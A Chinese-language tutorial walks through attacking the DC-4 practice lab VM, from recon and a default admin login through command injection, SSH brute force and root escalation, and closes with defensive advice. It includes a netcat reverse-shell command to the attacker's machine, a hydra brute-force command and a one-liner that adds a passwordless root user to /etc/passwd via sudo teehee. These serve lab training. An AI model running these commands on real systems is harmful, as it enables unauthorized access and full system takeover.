dc-4靶场
字数 1183 2025-08-10 19:49:05

DC-4靶场渗透测试教学文档

1. 环境准备

1.1 靶场下载与配置

  • 靶场下载地址: https://www.five86.com/downloads.html
  • 使用VMware打开下载的靶机镜像
  • 网络模式: NAT模式

1.2 攻击机配置

  • 使用Kali Linux作为攻击机
  • IP地址: 192.168.229.130 (示例)

2. 信息搜集阶段

2.1 发现靶机IP

  • 使用netdiscoverarp-scan等工具发现靶机IP地址

2.2 端口扫描

nmap -sV -p- <靶机IP>
  • 发现开放端口:
    • 80端口: HTTP服务
    • 22端口: SSH服务

2.3 目录扫描

dirsearch -u http://<靶机IP>
  • 检查网站目录结构

3. Web应用渗透

3.1 登录页面分析

  • 访问http://<靶机IP>发现登录页面
  • 尝试默认凭证:
    • 用户名: admin
    • 密码: happy (成功登录)

3.2 命令注入漏洞

  1. 使用Burp Suite拦截登录后的请求
  2. 尝试在参数中注入命令
  3. 发现命令注入漏洞

3.3 获取反向Shell

  1. Kali开启监听:
nc -lvnp 4444
  1. 注入命令(注意空格用+代替):
nc -e /bin/sh <Kali_IP> 4444
  1. 成功获取交互式Shell

3.4 提升Shell交互性

python -c 'import pty;pty.spawn("/bin/bash")'

4. 横向移动

4.1 枚举系统用户

  • 检查/home目录:
    • charles
    • jim

4.2 发现敏感信息

  • /home/jim目录发现旧密码文件
  • 将密码保存到本地文件

4.3 SSH暴力破解

  1. 创建用户列表(users.txt):
admin
jim
charles
jibril04
  1. 使用hydra爆破SSH:
hydra -L users.txt -P passwords.txt ssh://<靶机IP>
  1. 成功爆破出凭证:
    • jim:
    • jibril04:

5. 权限提升

5.1 检查邮件

  • 登录jim账户后发现有未读邮件
  • 邮件内容包含charles的密码

5.2 切换至charles账户

su charles
输入邮件中获得的密码

5.3 检查sudo权限

sudo -l
  • 发现可以使用root权限执行teehee命令

5.4 利用teehee提权

  1. teehee可以向任意文件写入内容
  2. 向/etc/passwd添加root权限用户:
echo "asun::0:0:root:/root:/bin/bash" | sudo teehee -a /etc/passwd
  1. 切换至新创建的用户:
su asun
  1. 成功获得root权限

5.5 查找flag

  • 在系统关键目录中搜索flag文件

6. 总结与关键点

  1. 信息收集:

    • 全面的端口扫描和目录扫描是渗透测试的基础
    • 注意收集所有可能的用户信息
  2. Web渗透:

    • 尝试默认凭证
    • 发现并利用命令注入漏洞
    • 获取反向Shell时注意特殊字符处理
  3. 横向移动:

    • 检查所有用户目录寻找敏感信息
    • 合理使用暴力破解工具
  4. 权限提升:

    • 检查所有可能的提权路径
    • 利用sudo权限执行的文件进行提权
    • 通过修改/etc/passwd添加root用户是经典提权方法
  5. 清理痕迹:

    • 渗透完成后应清理添加的用户和修改的文件

7. 防御建议

  1. 避免使用默认或弱密码
  2. 限制sudo权限,避免给普通用户不必要的root权限
  3. 对用户输入进行严格过滤,防止命令注入
  4. 定期检查系统日志和用户权限
  5. 敏感文件应设置适当权限,避免普通用户读取
DC-4靶场渗透测试教学文档 1. 环境准备 1.1 靶场下载与配置 靶场下载地址: https://www.five86.com/downloads.html 使用VMware打开下载的靶机镜像 网络模式: NAT模式 1.2 攻击机配置 使用Kali Linux作为攻击机 IP地址: 192.168.229.130 (示例) 2. 信息搜集阶段 2.1 发现靶机IP 使用 netdiscover 或 arp-scan 等工具发现靶机IP地址 2.2 端口扫描 发现开放端口: 80端口: HTTP服务 22端口: SSH服务 2.3 目录扫描 检查网站目录结构 3. Web应用渗透 3.1 登录页面分析 访问http:// <靶机IP>发现登录页面 尝试默认凭证: 用户名: admin 密码: happy (成功登录) 3.2 命令注入漏洞 使用Burp Suite拦截登录后的请求 尝试在参数中注入命令 发现命令注入漏洞 3.3 获取反向Shell Kali开启监听: 注入命令(注意空格用+代替): 成功获取交互式Shell 3.4 提升Shell交互性 4. 横向移动 4.1 枚举系统用户 检查 /home 目录: charles jim 4.2 发现敏感信息 在 /home/jim 目录发现旧密码文件 将密码保存到本地文件 4.3 SSH暴力破解 创建用户列表(users.txt): 使用hydra爆破SSH: 成功爆破出凭证: jim: jibril04: 5. 权限提升 5.1 检查邮件 登录jim账户后发现有未读邮件 邮件内容包含charles的密码 5.2 切换至charles账户 5.3 检查sudo权限 发现可以使用root权限执行 teehee 命令 5.4 利用teehee提权 teehee可以向任意文件写入内容 向/etc/passwd添加root权限用户: 切换至新创建的用户: 成功获得root权限 5.5 查找flag 在系统关键目录中搜索flag文件 6. 总结与关键点 信息收集 : 全面的端口扫描和目录扫描是渗透测试的基础 注意收集所有可能的用户信息 Web渗透 : 尝试默认凭证 发现并利用命令注入漏洞 获取反向Shell时注意特殊字符处理 横向移动 : 检查所有用户目录寻找敏感信息 合理使用暴力破解工具 权限提升 : 检查所有可能的提权路径 利用sudo权限执行的文件进行提权 通过修改/etc/passwd添加root用户是经典提权方法 清理痕迹 : 渗透完成后应清理添加的用户和修改的文件 7. 防御建议 避免使用默认或弱密码 限制sudo权限,避免给普通用户不必要的root权限 对用户输入进行严格过滤,防止命令注入 定期检查系统日志和用户权限 敏感文件应设置适当权限,避免普通用户读取